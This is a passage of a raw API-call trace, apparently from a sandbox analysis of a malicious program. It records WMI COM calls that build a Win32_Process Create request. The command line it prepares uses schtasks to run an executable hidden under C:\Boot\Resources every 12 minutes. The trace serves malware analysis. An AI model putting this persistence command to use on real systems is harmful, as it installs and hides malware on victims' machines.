[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x33a6c0) returned 0x0 [0127.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a6c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0127.891] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a6c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x350e40) returned 0x0 [0127.891] WbemDefPath:IUnknown:Release (This=0x33a6c0) returned 0x0 [0127.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x350e40) returned 0x0 [0127.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0127.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0127.892] WbemDefPath:IUnknown:AddRef (This=0x350e40) returned 0x3 [0127.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0127.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0127.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x33aba0) returned 0x0 [0127.892] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33aba0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.892] WbemDefPath:IUnknown:Release (This=0x33aba0) returned 0x3 [0127.892] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0127.892] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0127.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0127.892] WbemDefPath:IUnknown:Release (This=0x350e40) returned 0x2 [0127.892] WbemDefPath:IUnknown:Release (This=0x350e40) returned 0x1 [0127.892] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0127.892] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0127.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x350e40, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x350e40) returned 0x0 [0127.892] WbemDefPath:IUnknown:AddRef (This=0x350e40) returned 0x3 [0127.892] WbemDefPath:IUnknown:Release (This=0x350e40) returned 0x2 [0127.892] WbemDefPath:IWbemPath:SetText (This=0x350e40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0127.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0127.892] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0127.892] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.892] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0127.893] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0127.893] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0127.893] IUnknown:Release (This=0x3111d8) returned 0x1 [0127.893] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33a5a0) returned 0x0 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a5a0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0127.894] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a5a0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352340) returned 0x0 [0127.894] WbemDefPath:IUnknown:Release (This=0x33a5a0) returned 0x0 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352340) returned 0x0 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0127.894] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0127.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ad00) returned 0x0 [0127.894] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ad00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.894] WbemDefPath:IUnknown:Release (This=0x33ad00) returned 0x3 [0127.894] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0127.895] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0127.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0127.895] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0127.895] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x1 [0127.895] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0127.895] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x352340, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352340) returned 0x0 [0127.895] WbemDefPath:IUnknown:AddRef (This=0x352340) returned 0x3 [0127.895] WbemDefPath:IUnknown:Release (This=0x352340) returned 0x2 [0127.895] WbemDefPath:IWbemPath:SetText (This=0x352340, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x350e40, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0127.895] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x350e40) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352340, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0127.895] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352340, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0127.896] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x350e40, uIndex=0x0, pszName="root") returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352340, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352340, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0127.896] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x350e40, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetServer (in: This=0x352340, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetServer (in: This=0x352340, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetServer (in: This=0x350e40, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetServer (in: This=0x350e40, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetInfo (in: This=0x350e40, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0127.896] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x350e40, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetText (in: This=0x350e40, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0127.904] WbemDefPath:IWbemPath:GetText (in: This=0x350e40, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0127.904] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0127.904] WbemLocator:IUnknown:AddRef (This=0x1b3bf138) returned 0x3 [0127.904] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x1b3bf138) returned 0x0 [0127.905] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x3 [0127.905] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x2 [0127.905] WbemDefPath:IWbemPath:GetText (in: This=0x350e40, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0127.905] WbemDefPath:IWbemPath:GetText (in: This=0x350e40, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0127.905] IWbemServices:GetObject (in: This=0x1b403120, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b42fe70, ppCallResult=0x0) returned 0x0 [0127.912] IWbemClassObject:GetMethod (in: This=0x1b42fe70, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b430890, ppOutSignature=0x1b10dac0*=0x1b431060) returned 0x0 [0127.912] IWbemClassObject:SpawnInstance (in: This=0x1b430890, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b3dde30) returned 0x0 [0127.924] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4d28*=0, plFlavor=0x29c4d2c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4d28*=8, plFlavor=0x29c4d2c*=32) returned 0x0 [0127.925] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4d28*=8, plFlavor=0x29c4d2c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4d28*=8, plFlavor=0x29c4d2c*=32) returned 0x0 [0127.926] IWbemClassObject:Put (This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0127.926] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4df0*=0, plFlavor=0x29c4df4*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4df0*=13, plFlavor=0x29c4df4*=32) returned 0x0 [0127.927] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4df0*=13, plFlavor=0x29c4df4*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c4df0*=13, plFlavor=0x29c4df4*=32) returned 0x0 [0127.927] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x1b4243b0) returned 0x0 [0127.927] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0127.927] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0127.927] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0127.927] IUnknown:AddRef (This=0x1b4243b0) returned 0x3 [0127.928] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0127.928] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0127.928] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x1b4243b8) returned 0x0 [0127.928] IMarshal:GetUnmarshalClass (in: This=0x1b4243b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0127.928] IUnknown:Release (This=0x1b4243b8) returned 0x3 [0127.928] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0127.929] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0127.929] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0127.929] IUnknown:Release (This=0x1b4243b0) returned 0x2 [0127.929] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0127.929] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0127.929] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0127.931] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0127.931] IUnknown:QueryInterface (in: This=0x1b4243b0, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0127.932] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0127.932] IUnknown:AddRef (This=0x1b4243b0) returned 0x3 [0127.932] IWbemClassObject:Put (This=0x1b3dde30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4243b0, varVal2=0x0), Type=0) returned 0x0 [0127.950] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3524c0, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0127.950] WbemDefPath:IWbemPath:GetText (in: This=0x3524c0, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0127.950] WbemDefPath:IWbemPath:GetText (in: This=0x3524c0, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.950] 